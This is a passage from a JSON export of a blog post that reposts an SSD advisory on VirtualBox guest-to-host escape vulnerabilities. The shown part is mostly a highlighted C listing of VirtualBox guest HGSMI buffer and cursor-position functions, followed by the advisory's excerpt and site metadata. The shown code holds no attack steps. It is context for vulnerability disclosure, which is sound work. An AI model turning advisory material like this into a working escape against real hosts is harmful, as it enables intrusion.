class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1019\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1020\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">i32Result<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1021\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Free the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1022\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1023\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1024\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1025\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NO_MEMORY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1026\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFlowFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;rc %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1027\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1028\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1029\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1030\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1031\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1032\"><span class=\"crayon-c\"> * Report the guest cursor position.&nbsp;&nbsp;The host may wish to use this information<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1033\"><span class=\"crayon-c\"> * to re-position its own cursor (though this is currently unlikely).&nbsp;&nbsp;The<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1034\"><span class=\"crayon-c\"> * current host cursor position is returned.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1035\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pCtx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The context containing the heap used.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1036\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;fReportPosition&nbsp;&nbsp;Are we reporting a position?<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1037\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;x&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Guest cursor X position.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1038\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;y&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Guest cursor Y position.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1039\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pxHost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host cursor X position is stored here.&nbsp;&nbsp;Optional.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1040\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pyHost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host cursor Y position is stored here.&nbsp;&nbsp;Optional.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1041\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;iprt status code.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1042\"><span class=\"crayon-c\"> * @returns&nbsp;&nbsp;VERR_NO_MEMORY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HGSMI heap allocation failed.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1043\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1044\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMICursorPosition<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">bool<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fReportPosition<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">uint32<\/span><span class=\"crayon-sy\">_<\/span>t<span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">uint32<\/span><span class=\"crayon-sy\">_<\/span>t<span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1045\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pxHost<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pyHost<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1046\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1047\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1048\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBVACURSORPOSITION *<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1049\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;%s: x=%u, y=%un&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__PRETTY_FUNCTION__<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1050\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1051\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Allocate the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1052\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">VBVACURSORPOSITION *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBVACURSORPOSITION<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBVA_CURSOR_POSITION<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1053\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1054\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1055\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Prepare data to be sent to the host. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1056\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fReportPosition<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">fReportPosition<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1057\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1058\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1059\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1060\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1061\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1062\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pxHost<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1063\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pxHost<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1064\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pyHost<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1065\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pyHost<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1066\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;%s: return: x=%u, y=%un&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__PRETTY_FUNCTION__<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1067\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1068\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Free the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1069\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1070\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1071\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1072\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NO_MEMORY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1073\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">LogFunc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;rc = %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1074\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1075\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1076\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1077\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1078\"><span class=\"crayon-c\">\/** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1079\"><span class=\"crayon-c\"> * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1080\"><span class=\"crayon-c\"> * host information which is needed by the guest.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1081\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1082\"><span class=\"crayon-c\"> * Reading will not cause a switch to the host.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1083\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1084\"><span class=\"crayon-c\"> * Have to take into account:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1085\"><span class=\"crayon-c\"> *&nbsp;&nbsp;* synchronization: host must write to the memory only from EMT,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1086\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;large structures must be read under flag, which tells the host<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1087\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;that the guest is currently reading the memory (OWNER flag?).<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1088\"><span class=\"crayon-c\"> *&nbsp;&nbsp;* guest writes: may be allocate a page for the host info and make<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1089\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;the page readonly for the guest.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1090\"><span class=\"crayon-c\"> *&nbsp;&nbsp;* the information should be available only for additions drivers.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1091\"><span class=\"crayon-c\"> *&nbsp;&nbsp;* VMMDev additions driver will inform the host which version of the info it expects,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1092\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;host must support all versions.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-1093\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-1094\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0754 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3649\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 24 Jan 2018 14:11:46 +0000<\/strong><\/p>\n<p>Vulnerabilities summary The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1. Credit An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program. Vendor response Oracle were informed of the vulnerabilities and released patches to address them. For &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3649\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[17269,10757],"class_list":["post-11225","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-guest-to-host-escape","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/11225","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=11225"}],"version-history":[{"count":0,"href":"https:\